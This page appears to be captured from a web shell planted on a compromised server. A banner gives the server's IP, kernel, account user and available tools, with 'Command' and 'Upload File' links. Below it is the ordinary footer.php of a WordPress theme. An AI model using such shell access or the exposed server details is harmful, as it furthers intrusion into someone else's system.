|
Server IP : 89.26.249.46 / Your IP : 216.73.216.42 Web Server : Apache System : Linux a.cp.cloudlink.pt 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64 User : eticalga ( 1129) PHP Version : 8.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/eticalga/www/files/themes/kobuxeticalgarve/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* The footer for our theme.
*
* Contains the closing of the #main-content div and all content after
*
* @package kobuxeticalgarve
*/
?>
</div><!-- #main-content -->
<div id="footer-wrap">
<footer id="footer">
<div class="container-wrapper">
<div class="container small footer-logo-section">
<a href="<?php echo home_url(); ?>">
<?php echo kobuxeticalgarve_get_icons('etic-algarve-logo'); ?>
</a>
</div>
<?php if (has_nav_menu('footer')) : ?>
<div class="container small">
<div class="footer-menu-wrapper">
<nav class="footer-menu-navigation" role="navigation">
<?php wp_nav_menu(array(
'theme_location' => 'footer',
'sort_column' => 'menu_order',
'menu_class' => 'footer-menu',
'fallback_cb' => false,
'walker' => new Kobu_Dropdown_Walker_Nav_Menu()
)); ?>
</nav>
</div>
</div>
<?php endif; ?>
<div class="container small footer-socials-section">
<?php if ($social_links = get_field('social_media_links', 'options')) { ?>
<a href="<?php echo esc_html( $social_links['instagram'] ); ?>" target="_blank" rel="noopener"><div><?php echo kobuxeticalgarve_get_icons('icon-instagram'); ?></div>instagram</a>
<a href="<?php echo esc_html( $social_links['tiktok'] ); ?>" target="_blank" rel="noopener"><div><?php echo kobuxeticalgarve_get_icons('icon-tiktok'); ?></div>tiktok</a>
<a href="<?php echo esc_html( $social_links['facebook'] ); ?>" target="_blank" rel="noopener"><div><?php echo kobuxeticalgarve_get_icons('icon-facebook'); ?></div>facebook</a>
<a href="<?php echo esc_html( $social_links['linkedin'] ); ?>" target="_blank" rel="noopener"><div><?php echo kobuxeticalgarve_get_icons('icon-linkedin'); ?></div>linkedin</a>
<a href="<?php echo esc_html( $social_links['threads'] ); ?>" target="_blank" rel="noopener"><div><?php echo kobuxeticalgarve_get_icons('icon-threads'); ?></div>threads</a>
<a href="<?php echo esc_html( $social_links['youtube'] ); ?>" target="_blank" rel="noopener"><div><?php echo kobuxeticalgarve_get_icons('icon-youtube'); ?></div>youtube</a>
<a href="<?php echo esc_html( $social_links['bandcamp'] ); ?>" target="_blank" rel="noopener"><div><?php echo kobuxeticalgarve_get_icons('icon-bandcamp'); ?></div>bandcamp</a>
<?php } ?>
</div>
<div class="container small footer-newsletter-section">
<h2><?php _e('Receive notifications, news and events', 'kobu') ?></h2>
<?php
// if ($subscribe_newsletter_link = get_field('subscribe_newsletter_link', 'options')) {
// $current_lang = ICL_LANGUAGE_CODE;
// $translated_link = apply_filters( 'wpml_permalink', $subscribe_newsletter_link, $current_lang );
// echo esc_url($translated_link);
?>
<a href="<?php echo get_permalink(1928); ?>" class="btn"><?php _e('Subscribe to the newsletter', 'kobu') ?></a>
<?php
// }
?>
</div>
</div>
<div class="container-wrapper footer-information-section">
<?php if ($footer_consent_change = get_field('footer_consent_change', 'options')) { ?>
<div class="footer-consent-change container xlarge"><?php echo $footer_consent_change; ?></div>
<?php } ?>
<div class="container xlarge">
<ul>
<?php
if (have_rows('certified_entities', 'options')) {
while(have_rows('certified_entities', 'options')) {
the_row();
$ce_img = get_sub_field('ce_img');
$ce_url = get_sub_field('ce_url');
?>
<li>
<?php if (!empty($ce_url)) { ?>
<a href="<?php echo esc_url($ce_url); ?>" target="_blank" rel="noopener">
<?php }
if ($ce_img) { ?>
<img
src="<?php echo esc_url($ce_img['url']); ?>"
width="<?php echo (int) $ce_img['width']; ?>"
height="<?php echo (int) $ce_img['height']; ?>"
alt="<?php echo esc_attr(get_sub_field('ce_name')); ?>">
<?php }
if (!empty($ce_url)) { ?>
</a>
<?php } ?>
</li>
<?php
}
}
?>
<li><?php if ($description = get_field('description', 'options')) echo '<p>' . $description . '</p>'; ?></li>
</ul>
<ul>
<?php
if (have_rows('payments_complaints', 'options')) {
while(have_rows('payments_complaints', 'options')) {
the_row();
$pc_img = get_sub_field('pc_img');
$pc_url = get_sub_field('pc_url');
?>
<li>
<?php if (!empty($pc_url)) { ?>
<a href="<?php echo esc_url($pc_url); ?>" target="_blank" rel="noopener">
<?php }
if ($pc_img) { ?>
<img
src="<?php echo esc_url($pc_img['url']); ?>"
width="<?php echo (int) $pc_img['width']; ?>"
height="<?php echo (int) $pc_img['height']; ?>"
alt="<?php echo esc_attr(get_sub_field('pc_name')); ?>">
<?php }
if (!empty($pc_url)) { ?>
</a>
<?php } ?>
</li>
<?php
}
}
?>
</ul>
</div>
</div>
<div class="container-wrapper copyright-section">
<div class="container xlarge">
<div class="copyright">Copyright © <?php echo date('Y'); ?> <?php bloginfo('name'); ?></div>
<div class="developedby"><?php _e('made by', 'kobu') ?> <a href="https://kobu.agency/" target="_blank" rel=”noopener”>kobu</a></div>
</div>
</div>
</footer>
</div> <!-- footer-wrap -->
</div> <!-- tablesite-content -->
<?php echo kobuxeticalgarve_footer_scripts(); ?>
<?php wp_footer(); ?>
</body>
</html>